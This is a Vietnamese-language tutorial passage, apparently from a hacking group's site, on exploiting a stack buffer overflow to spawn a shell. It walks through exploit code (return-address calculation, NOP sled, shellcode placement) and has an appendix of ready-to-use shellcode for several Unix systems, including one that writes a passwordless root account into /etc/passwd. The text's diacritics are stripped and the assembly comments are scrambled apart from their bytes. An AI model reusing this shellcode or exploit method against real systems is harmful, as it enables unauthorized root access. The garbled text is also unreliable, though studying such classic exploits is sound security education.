----------------------------------------------------------------------------[t@localhost ~/vicki]$ cc -o vulnerable vulnerable.c
[t@localhost ~/vicki]$ cc -o exploit exploit.c
[t@localhost ~/vicki]$ ./exploit
Stack pointer: 0xbffffaf8
Offset
: 0x0
Return addr : 0xbffffaf8
sh-2.04$

Gii thch:
Trc ht, chng ta cn xc nh a ch tr v khi trn b m.

esp=get_esp();
ret=esp-offset;
a ch tr v khi trn b m = ESP(a ch bt u ca stack) - OFFSET
. Ti sao phi tr cho offset? Bi v chng ta c gi hm
execl("./vulnerable","vulnerable",buffer,0); sau cng, nn ESP lc ny s
b tr i mt s bytes do chng trnh exploit c s dng mt s bytes trn
stack cho cc tham s v bin cc b ca hm.iu ny s tng kh nng
a ch tr v tr n mt ni no trong buffer[] ca vulnerable, ni m
chng ta s t NOPs v shellcode.
Quan st stack:
+---------------+
| argv[] & argc |
| ca exploit |
+---------------+
| return addr 1 |
+---------------+
|
ebp 1
|
+---------------+
|
|
| cc bin cc |
| b ca exploit|
|
|
+---------------+
| argv[] & argc |
| ca exploit |
+---------------+
| return addr 2 | ----\
+---------------+
|
|
ebp 2
|
|
+---------------+
|
|
|
|
| buffer[] ca |
|
|
vulnerable | <---/
|
|
+---------------+

Chng ta cn lm trn buffer[] ca vulnerable return addr 2 tr n u


trong buffer[]. Cng nh v d 1- overflow.c(bn hy xem li tht k v
d 1), chng ta s to mt vng nh trn heap:
if (!(buffer=malloc(bsize)))
{
printf("Khong the cap phat bo nho.\n");
exit(-1);
}

By gi lp y buffer bng a ch tr v m chng ta tnh c:


ptr=buffer;

addr_ptr=(long *)ptr;
for (i=0;i<bsize;i+=4)
*(addr_ptr++)=ret;

Tip theo chng ta s lp y 1/2 buffer bng NOPs


for (i=0;i<bsize/2;i++)
buffer[i]=NOP;

Sau , chng ta t shellcode vo gia NOPs


ptr=buffer+((bsize/2)-(strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];

Cui cng t '\0' vo buffer hm strcpy() trong vulnerable bit ht


data cn copy.
buffer[bsize-1]=0;

Tin hnh lm trn b m ca vulnerable, bn s c c shell lnh do


vulnerable spawn.
execl("./vulnerable","vulnerable",buffer,0);

Quan st stack, buffer[] ca vulnerable v return addr 2 sau khi trn b


m s c dng nh sau:
+------------+
|return addr2| -----\
+------------+
|
|
ebp 2
|
|
+------------+
|
|
...
|
|
|
nop
|
|
|
...
|
|
| shellcode |
|
|
...
|
|
|
nop
|
|
|
nop
| <----/
|
nop
|
|
...
|
+------------+

Chng ta hi vng rng return addr 2 s tr n 1 nop trc shellcode. Cc


cu lnh NOPs s khng lm g ht, n khi gp shellcode, shellcode s
shell lnh cho chng ta(bn hy xem li phn "Hnh dung cch t
shellcode trn stack).

Ph lc

Cc loi shellcode
BSDi
char code[] =
"\xeb\x57\x5e\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e"
"\x26\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8\x31"
"\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2\x31\xc0\x88"
"\x46\x0b\x89\xf3\x83\xc0\x05\x31\xc9\x83\xc1\x01\x31"
"\xd2\xcd\x80\x89\xc3\x31\xc0\x83\xc0\x04\x31\xd2\x88"
"\x56\x27\x89\xf1\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31"
"\xc0\x83\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"BIN/SH";
FreeBSD
char code[]=
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x
76"
"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x
1b"
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\x
ff"
"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\x
ff"
"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x
02"
"\x02\x02\x02/bin/sh.-c.sh";
Replace .sh with .anycommand
Linux x86
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\
x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
OpenBSD
OpenBSD shellcode that adds an unpassworded root login
"w00w00" to /etc/passwd... Courtesy of w00w00.
(Changed from /tmp/passwd to /etc/passwd... give kiddies
a chance ;)
char shell[]=
"\xeb\x2b\x5e\x31\xc0\x88\x46\x0b"
"\x88\x46\x29\x50\xb0\x09\x50\x31"
"\xc0\x56\x50\xb0\x05\xcd\x80\x89"
"\xc3\x6a\x1d\x8d\x46\x0c\x50\x53"
"\x50\x31\xc0\xb0\x04\xcd\x80\x31"
"\xc0\xb0\x01\xcd\x80\xe8\xd0\xff"
"\xff\xff\x2f\x65\x74\x63\x2f\x70"
"\x61\x73\x73\x77\x64\x30\x77\x30"

"\x30\x77\x30\x30\x3a\x3a\x30\x3a"
"\x30\x3a\x77\x30\x30\x77\x30\x30"
"\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f"
"\x73\x68\x0a\x30\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff";
Solaris / Sparc
char c0de[] =
/* setreuid() */
"\x82\x10\x20\xca"
%g1
*/
"\x92\x1a\x40\x09"
%o1, %o1
*/
"\x90\x0a\x40\x09"
%o1, %o0
*/
"\x91\xd0\x20\x08"
*/
"\x2d\x0b\xd8\x9a"
$0xbd89a, %l6
*/
"\xac\x15\xa1\x6e"
0x16e, %l6
*/
"\x2f\x0b\xdc\xda"
$0xbdcda, %l7
*/
"\x90\x0b\x80\x0e"
%sp, %o0
*/
"\x92\x03\xa0\x08"
%o1
*/
"\x94\x1a\x80\x0a"
%o2, %o2
*/
"\x9c\x03\xa0\x10"
0x10, %sp
*/
"\xec\x3b\xbf\xf0"
[%sp - 0x10]
*/
"\xdc\x23\xbf\xf8"
[%sp - 0x08]
*/
"\xc0\x23\xbf\xfc"
[%sp - 0x04]
*/
"\x82\x10\x20\x3b"
%g1
*/
"\x91\xd0\x20\x08"

/* mov 0xca,
/* xor %o1,
/* and %o1,
/* ta 8
/* sethi
/* or %l6,
/* sethi
/* and %sp,
/* add %sp, 8,
/* xor %o2,
/* add %sp,
/* std %l6,
/* st %sp,
/* st %g0,
/* mov $0x3b,
/* ta 8

Solaris / x86
char c0de[] =
"\xeb\x0a"
*/
"\x9a\x01\x02\x03\x5c\x07\x04"
*/
"\xc3"
*/
"\xeb\x05"
*/
"\xe8\xf9\xff\xff\xff"
*/

/* jmp initcall
/* lcall
/* ret
/* jmp setuidcode
/* call jmpz

"\x5e"
*/
"\x29\xc0"
*/
"\x88\x46\xf7"
0xfffffff7(%esi) */
"\x89\x46\xf2"
0xfffffff2(%esi) */
"\x50"
*/
"\xb0\x8d"
*/
"\xe8\xe0\xff\xff\xff"
*/
"\x29\xc0"
*/
"\x50"
*/
"\xb0\x17"
*/
"\xe8\xd6\xff\xff\xff"
*/
"\xeb\x1f"
*/
"\x5e"
*/
"\x8d\x1e"
*/
"\x89\x5e\x0b"
0x0b(%esi)
*/
"\x29\xc0"
*/
"\x88\x46\x19"
0x19(%esi)
*/
"\x89\x46\x14"
0x14(%esi)
*/
"\x89\x46\x0f"
0x0f(%esi)
*/
"\x89\x46\x07"
0x07(%esi)
*/
"\xb0\x3b"
*/
"\x8d\x4e\x0b"
%ecx
*/
"\x51"
*/
"\x51"
*/
"\x53"
*/
"\x50"
*/
"\xeb\x18"
*/
"\xe8\xdc\xff\xff\xff"
*/

/* popl %esi
/* subl %eax, %eax
/* movb %al,
/* movl %eax,
/* pushl %eax
/* movb $0x8d, %al
/* call initlcall
/* subl %eax, %eax
/* pushl %eax
/* movb $0x17, %al
/* call initlcall
/* jmp callz
/* popl %esi
/* leal (%esi), %ebx
/* movl %ebx,
/* subl %eax, %eax
/* movb %al,
/* movl %eax,
/* movl %eax,
/* movl %eax,
/* movb $0x3b, %al
/* leal 0x0b(%esi),
/* pushl %ecx
/* pushl %ecx
/* pushl %ebx
/* pushl %eax
/* jmp lcall
/* call start

"\x2f\x62\x69\x6e\x2f\x73\x68"
/* /bin/sh
*/
"\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";
/* lcall
*/

Cng c to shellcode "Hellkit"


Hellkit l mt cng c dng to shellcode cho Linux rt d dng. Hellkit
rt a nng, c bit Hellkit cn cho php to shellcode c kch thc ln
n 65535 bytes!
Ti liu tham kho
"Smashing The Stack For Fun And Profit"(phrack 49-14) - Aleph One
"Advanced buffer overflow exploits" - Taeho Oh
Do hiu bit cn nhiu hn ch nn bi vit ny khng trnh khi nhng
thiu xt, rt mong nhn c s ng gp, gip ca cc bn bi
vit c hon thin hn. Thanx, t. Vicki's real fan!
Back
Nhm Vicki - http://nhomvicki.cjb.net/

You might also like